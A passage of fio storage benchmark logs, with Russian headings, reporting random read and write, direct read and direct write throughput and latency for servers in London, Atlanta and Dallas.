benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29739: Mon Dec 16 01:32:16 2019
write: io=2204.8MB, bw=37628KB/s, iops=9406, runt= 60001msec
clat (usec): min=71, max=106108, avg=844.73, stdev=4994.03
lat (usec): min=72, max=106109, avg=845.63, stdev=4994.04
clat percentiles (usec):
| 1.00th=[ 77], 5.00th=[ 78], 10.00th=[ 79], 20.00th=[ 81],
| 30.00th=[ 82], 40.00th=[ 84], 50.00th=[ 86], 60.00th=[ 89],
| 70.00th=[ 95], 80.00th=[ 105], 90.00th=[ 126], 95.00th=[ 161],
| 99.00th=[33536], 99.50th=[35584], 99.90th=[41216], 99.95th=[45824],
| 99.99th=[54016]
bw (KB /s): min= 2250, max= 5573, per=12.51%, avg=4707.66, stdev=501.18
lat (usec) : 100=75.26%, 250=21.53%, 500=0.56%, 750=0.15%, 1000=0.06%
lat (msec) : 2=0.12%, 4=0.10%, 10=0.01%, 20=0.01%, 50=2.19%
lat (msec) : 100=0.02%, 250=0.01%
cpu : usr=0.78%, sys=2.67%, ctx=1141856, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=564422/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2204.8MB, aggrb=37627KB/s, minb=37627KB/s, maxb=37627KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=55/563927, merge=144/1523, ticks=8/44340, in_queue=44224, util=73.69%
```
**fio (Великобритания, Лондон)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28829: Sun Dec 15 16:28:01 2019
read : io=3631.9MB, bw=61959KB/s, iops=15489, runt= 60023msec
clat (usec): min=2, max=134462, avg=509.94, stdev=1233.42
lat (usec): min=2, max=134463, avg=510.93, stdev=1233.79
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 189], 10.00th=[ 207], 20.00th=[ 223],
| 30.00th=[ 235], 40.00th=[ 247], 50.00th=[ 270], 60.00th=[ 298],
| 70.00th=[ 346], 80.00th=[ 430], 90.00th=[ 652], 95.00th=[ 1320],
| 99.00th=[ 5408], 99.50th=[ 7840], 99.90th=[14528], 99.95th=[17792],
| 99.99th=[34048]
bw (KB /s): min= 1440, max=16184, per=12.55%, avg=7778.51, stdev=3012.08
lat (usec) : 4=2.91%, 10=0.57%, 20=0.18%, 50=0.02%, 100=0.14%
lat (usec) : 250=37.38%, 500=43.43%, 750=7.02%, 1000=1.99%
lat (msec) : 2=2.60%, 4=1.95%, 10=1.55%, 20=0.24%, 50=0.02%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.38%, sys=5.15%, ctx=905144, majf=0, minf=67
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=929741/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=3631.9MB, aggrb=61958KB/s, minb=61958KB/s, maxb=61958KB/s, mint=60023msec, maxt=60023msec
Disk stats (read/write):
sda: ios=895279/10, merge=144/5, ticks=396812/12, in_queue=396516, util=97.96%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28855: Sun Dec 15 16:30:07 2019
write: io=19601MB, bw=334417KB/s, iops=83604, runt= 60019msec
clat (usec): min=2, max=260881, avg=60.05, stdev=1166.81
lat (usec): min=2, max=260882, avg=66.48, stdev=1253.78
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 48], 99.50th=[ 2128], 99.90th=[15680], 99.95th=[21376],
| 99.99th=[40192]
bw (KB /s): min= 0, max=73357, per=12.86%, avg=43019.84, stdev=11843.30
lat (usec) : 4=60.71%, 10=37.73%, 20=0.44%, 50=0.13%, 100=0.16%
lat (usec) : 250=0.13%, 500=0.08%, 750=0.03%, 1000=0.02%
lat (msec) : 2=0.06%, 4=0.11%, 10=0.21%, 20=0.12%, 50=0.05%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=3.95%, sys=5.77%, ctx=81576, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5017839/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=19601MB, aggrb=334416KB/s, minb=334416KB/s, maxb=334416KB/s, mint=60019msec, maxt=60019msec
Disk stats (read/write):
sda: ios=699/1536338, merge=60/1385, ticks=532/5432372, in_queue=5430380, util=77.08%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28842: Sun Dec 15 16:29:06 2019
read : io=4286.8MB, bw=73146KB/s, iops=18286, runt= 60011msec
clat (usec): min=66, max=157991, avg=431.19, stdev=1243.53
lat (usec): min=67, max=157992, avg=432.10, stdev=1243.78
clat percentiles (usec):
| 1.00th=[ 113], 5.00th=[ 191], 10.00th=[ 203], 20.00th=[ 215],
| 30.00th=[ 225], 40.00th=[ 235], 50.00th=[ 249], 60.00th=[ 266],
| 70.00th=[ 290], 80.00th=[ 338], 90.00th=[ 478], 95.00th=[ 788],
| 99.00th=[ 4640], 99.50th=[ 7456], 99.90th=[14912], 99.95th=[18304],
| 99.99th=[48384]
bw (KB /s): min= 924, max=15136, per=12.56%, avg=9184.53, stdev=3293.69
lat (usec) : 100=0.62%, 250=50.61%, 500=39.45%, 750=4.09%, 1000=1.23%
lat (msec) : 2=1.62%, 4=1.06%, 10=1.06%, 20=0.24%, 50=0.03%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.62%, sys=5.73%, ctx=1112738, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1097395/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4286.8MB, aggrb=73146KB/s, minb=73146KB/s, maxb=73146KB/s, mint=60011msec, maxt=60011msec
Disk stats (read/write):
sda: ios=1096684/10, merge=159/5, ticks=395396/4, in_queue=395132, util=99.05%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28870: Sun Dec 15 16:31:07 2019
write: io=750168KB, bw=12501KB/s, iops=3125, runt= 60008msec
clat (usec): min=76, max=396545, avg=2550.32, stdev=14063.14
lat (usec): min=77, max=396546, avg=2551.50, stdev=14063.56
clat percentiles (usec):
| 1.00th=[ 81], 5.00th=[ 84], 10.00th=[ 87], 20.00th=[ 94],
| 30.00th=[ 101], 40.00th=[ 112], 50.00th=[ 129], 60.00th=[ 151],
| 70.00th=[ 179], 80.00th=[ 243], 90.00th=[ 548], 95.00th=[ 3376],
| 99.00th=[74240], 99.50th=[98816], 99.90th=[164864], 99.95th=[189440],
| 99.99th=[276480]
bw (KB /s): min= 103, max= 4120, per=12.70%, avg=1587.53, stdev=808.38
lat (usec) : 100=28.22%, 250=52.47%, 500=8.76%, 750=1.96%, 1000=0.91%
lat (msec) : 2=1.63%, 4=1.65%, 10=0.97%, 20=0.19%, 50=1.17%
lat (msec) : 100=1.60%, 250=0.47%, 500=0.01%
cpu : usr=0.36%, sys=1.58%, ctx=383096, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=187542/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=750168KB, aggrb=12501KB/s, minb=12501KB/s, maxb=12501KB/s, mint=60008msec, maxt=60008msec
Disk stats (read/write):
sda: ios=232/187357, merge=433/2112, ticks=520/52288, in_queue=52668, util=85.28%
```
**fio (США, Атланта)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1353: Thu Dec 5 08:14:33 2019
read : io=5863.2MB, bw=100061KB/s, iops=25015, runt= 60002msec
clat (usec): min=1, max=109953, avg=316.23, stdev=905.11
lat (usec): min=1, max=109954, avg=316.70, stdev=905.29
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 10], 10.00th=[ 169], 20.00th=[ 195],
| 30.00th=[ 213], 40.00th=[ 227], 50.00th=[ 245], 60.00th=[ 266],
| 70.00th=[ 298], 80.00th=[ 342], 90.00th=[ 418], 95.00th=[ 510],
| 99.00th=[ 1288], 99.50th=[ 2576], 99.90th=[12480], 99.95th=[17792],
| 99.99th=[43264]
bw (KB /s): min= 4007, max=19840, per=12.49%, avg=12499.98, stdev=3205.40
lat (usec) : 2=0.12%, 4=1.95%, 10=2.75%, 20=1.10%, 50=0.12%
lat (usec) : 100=0.27%, 250=46.38%, 500=41.94%, 750=3.30%, 1000=0.66%
lat (msec) : 2=0.73%, 4=0.38%, 10=0.16%, 20=0.10%, 50=0.03%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.12%, sys=7.37%, ctx=1424468, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1500958/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=5863.2MB, aggrb=100060KB/s, minb=100060KB/s, maxb=100060KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1407476/10, merge=144/5, ticks=367876/0, in_queue=367508, util=98.27%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1386: Thu Dec 5 08:16:37 2019
write: io=30002MB, bw=511974KB/s, iops=127993, runt= 60007msec
clat (usec): min=1, max=168979, avg=47.39, stdev=843.23
lat (usec): min=1, max=270942, avg=50.03, stdev=898.26
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 3],
| 99.00th=[ 16], 99.50th=[ 382], 99.90th=[14912], 99.95th=[19328],
| 99.99th=[29056]
bw (KB /s): min= 1, max=89640, per=12.64%, avg=64734.89, stdev=7943.05
lat (usec) : 2=0.09%, 4=96.74%, 10=2.01%, 20=0.19%, 50=0.16%
lat (usec) : 100=0.19%, 250=0.10%, 500=0.04%, 750=0.03%, 1000=0.02%
lat (msec) : 2=0.05%, 4=0.05%, 10=0.15%, 20=0.14%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.71%, sys=7.21%, ctx=89916, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=7680511/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=30002MB, aggrb=511974KB/s, minb=511974KB/s, maxb=511974KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
sda: ios=149/2401249, merge=59/1413, ticks=224/4709572, in_queue=4705400, util=65.68%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1366: Thu Dec 5 08:15:37 2019
read : io=4400.3MB, bw=75092KB/s, iops=18773, runt= 60004msec
clat (usec): min=54, max=146994, avg=421.38, stdev=1591.75
lat (usec): min=55, max=146995, avg=422.04, stdev=1592.67
clat percentiles (usec):
| 1.00th=[ 97], 5.00th=[ 159], 10.00th=[ 173], 20.00th=[ 193],
| 30.00th=[ 209], 40.00th=[ 223], 50.00th=[ 241], 60.00th=[ 266],
| 70.00th=[ 302], 80.00th=[ 354], 90.00th=[ 462], 95.00th=[ 676],
| 99.00th=[ 4048], 99.50th=[ 9280], 99.90th=[19584], 99.95th=[28032],
| 99.99th=[60672]
bw (KB /s): min= 1760, max=19184, per=12.53%, avg=9406.77, stdev=3435.47
lat (usec) : 100=1.10%, 250=52.98%, 500=37.72%, 750=3.93%, 1000=1.36%
lat (msec) : 2=1.36%, 4=0.55%, 10=0.55%, 20=0.37%, 50=0.08%
lat (msec) : 100=0.02%, 250=0.01%
cpu : usr=1.07%, sys=5.29%, ctx=1151545, majf=0, minf=67
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1126460/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4400.3MB, aggrb=75092KB/s, minb=75092KB/s, maxb=75092KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
sda: ios=1124490/19, merge=311/14, ticks=392884/24, in_queue=392608, util=98.99%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1399: Thu Dec 5 08:17:38 2019
write: io=1424.9MB, bw=24315KB/s, iops=6078, runt= 60003msec
clat (usec): min=66, max=168724, avg=1311.68, stdev=7949.99
lat (usec): min=66, max=168724, avg=1312.29, stdev=7950.64
clat percentiles (usec):
| 1.00th=[ 70], 5.00th=[ 73], 10.00th=[ 75], 20.00th=[ 78],
| 30.00th=[ 81], 40.00th=[ 86], 50.00th=[ 91], 60.00th=[ 100],
| 70.00th=[ 118], 80.00th=[ 167], 90.00th=[ 286], 95.00th=[ 390],
| 99.00th=[43776], 99.50th=[58112], 99.90th=[91648], 99.95th=[103936],
| 99.99th=[125440]
bw (KB /s): min= 600, max= 5231, per=12.54%, avg=3048.58, stdev=962.56
lat (usec) : 100=59.56%, 250=28.19%, 500=8.00%, 750=0.69%, 1000=0.39%
lat (msec) : 2=0.43%, 4=0.14%, 10=0.14%, 20=0.08%, 50=1.67%
lat (msec) : 100=0.63%, 250=0.06%
cpu : usr=0.39%, sys=2.24%, ctx=738676, majf=0, minf=59
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=364746/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1424.9MB, aggrb=24315KB/s, minb=24315KB/s, maxb=24315KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=152/363129, merge=338/1944, ticks=264/48728, in_queue=48864, util=79.69%
```
**fio (США, Даллас)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1700: Wed Dec 11 14:48:11 2019
read : io=6200.4MB, bw=105812KB/s, iops=26452, runt= 60001msec
clat (usec): min=2, max=102104, avg=296.47, stdev=729.41
lat (usec): min=2, max=102105, avg=297.48, stdev=729.66
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 4], 10.00th=[ 201], 20.00th=[ 223],
| 30.00th=[ 233], 40.00th=[ 245], 50.00th=[ 258], 60.00th=[ 274],
| 70.00th=[ 290], 80.00th=[ 314], 90.00th=[ 358], 95.00th=[ 422],
| 99.00th=[ 1064], 99.50th=[ 2064], 99.90th=[ 6816], 99.95th=[10048],
| 99.99th=[36608]
bw (KB /s): min= 7008, max=19088, per=12.50%, avg=13230.61, stdev=1790.79
lat (usec) : 4=4.58%, 10=1.55%, 20=0.51%, 50=0.02%, 100=0.14%
lat (usec) : 250=36.05%, 500=54.16%, 750=1.36%, 1000=0.53%
lat (msec) : 2=0.56%, 4=0.36%, 10=0.13%, 20=0.03%, 50=0.02%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.03%, sys=8.96%, ctx=1487519, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1587201/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6200.4MB, aggrb=105811KB/s, minb=105811KB/s, maxb=105811KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1477598/10, merge=134/5, ticks=337536/0, in_queue=337040, util=98.37%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1726: Wed Dec 11 14:50:15 2019
write: io=22194MB, bw=378745KB/s, iops=94686, runt= 60006msec
clat (usec): min=2, max=116106, avg=52.63, stdev=827.76
lat (usec): min=2, max=116107, avg=58.41, stdev=892.15
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 4], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 97], 99.50th=[ 2320], 99.90th=[13888], 99.95th=[19328],
| 99.99th=[29056]
bw (KB /s): min= 1, max=60735, per=12.65%, avg=47903.56, stdev=4565.88
lat (usec) : 4=45.50%, 10=52.63%, 20=0.53%, 50=0.15%, 100=0.21%
lat (usec) : 250=0.19%, 500=0.11%, 750=0.05%, 1000=0.03%
lat (msec) : 2=0.09%, 4=0.14%, 10=0.22%, 20=0.12%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.18%, sys=6.17%, ctx=119947, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5681736/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=22194MB, aggrb=378744KB/s, minb=378744KB/s, maxb=378744KB/s, mint=60006msec, maxt=60006msec
Disk stats (read/write):
sda: ios=204/1655764, merge=0/1663, ticks=432/5708944, in_queue=5711996, util=75.42%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1713: Wed Dec 11 14:49:15 2019
read : io=6961.6MB, bw=118808KB/s, iops=29702, runt= 60001msec
clat (usec): min=67, max=100512, avg=263.94, stdev=572.86
lat (usec): min=68, max=100513, avg=264.80, stdev=572.88
clat percentiles (usec):
| 1.00th=[ 149], 5.00th=[ 199], 10.00th=[ 205], 20.00th=[ 213],
| 30.00th=[ 225], 40.00th=[ 231], 50.00th=[ 237], 60.00th=[ 243],
| 70.00th=[ 258], 80.00th=[ 274], 90.00th=[ 306], 95.00th=[ 346],
| 99.00th=[ 516], 99.50th=[ 932], 99.90th=[ 3088], 99.95th=[ 6304],
| 99.99th=[14784]
bw (KB /s): min= 7356, max=17056, per=12.51%, avg=14865.38, stdev=1547.41
lat (usec) : 100=0.36%, 250=65.31%, 500=33.25%, 750=0.45%, 1000=0.17%
lat (msec) : 2=0.26%, 4=0.12%, 10=0.07%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.30%, sys=9.10%, ctx=1787510, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1782151/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6961.6MB, aggrb=118808KB/s, minb=118808KB/s, maxb=118808KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1775430/12, merge=142/6, ticks=374772/0, in_queue=374608, util=99.88%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=1739: Wed Dec 11 14:51:16 2019
write: io=2319.8MB, bw=39588KB/s, iops=9897, runt= 60003msec
clat (usec): min=72, max=129405, avg=802.66, stdev=4689.80
lat (usec): min=73, max=129406, avg=803.62, stdev=4689.82
clat percentiles (usec):
| 1.00th=[ 76], 5.00th=[ 78], 10.00th=[ 79], 20.00th=[ 81],
| 30.00th=[ 82], 40.00th=[ 84], 50.00th=[ 86], 60.00th=[ 88],
| 70.00th=[ 91], 80.00th=[ 97], 90.00th=[ 111], 95.00th=[ 137],
| 99.00th=[30848], 99.50th=[33024], 99.90th=[37632], 99.95th=[41216],
| 99.99th=[62720]
bw (KB /s): min= 2833, max= 6248, per=12.52%, avg=4956.34, stdev=397.19
lat (usec) : 100=83.08%, 250=14.10%, 500=0.21%, 750=0.09%, 1000=0.05%
lat (msec) : 2=0.10%, 4=0.08%, 10=0.01%, 20=0.01%, 50=2.27%
lat (msec) : 100=0.02%, 250=0.01%
cpu : usr=0.88%, sys=2.91%, ctx=1201789, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=593856/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
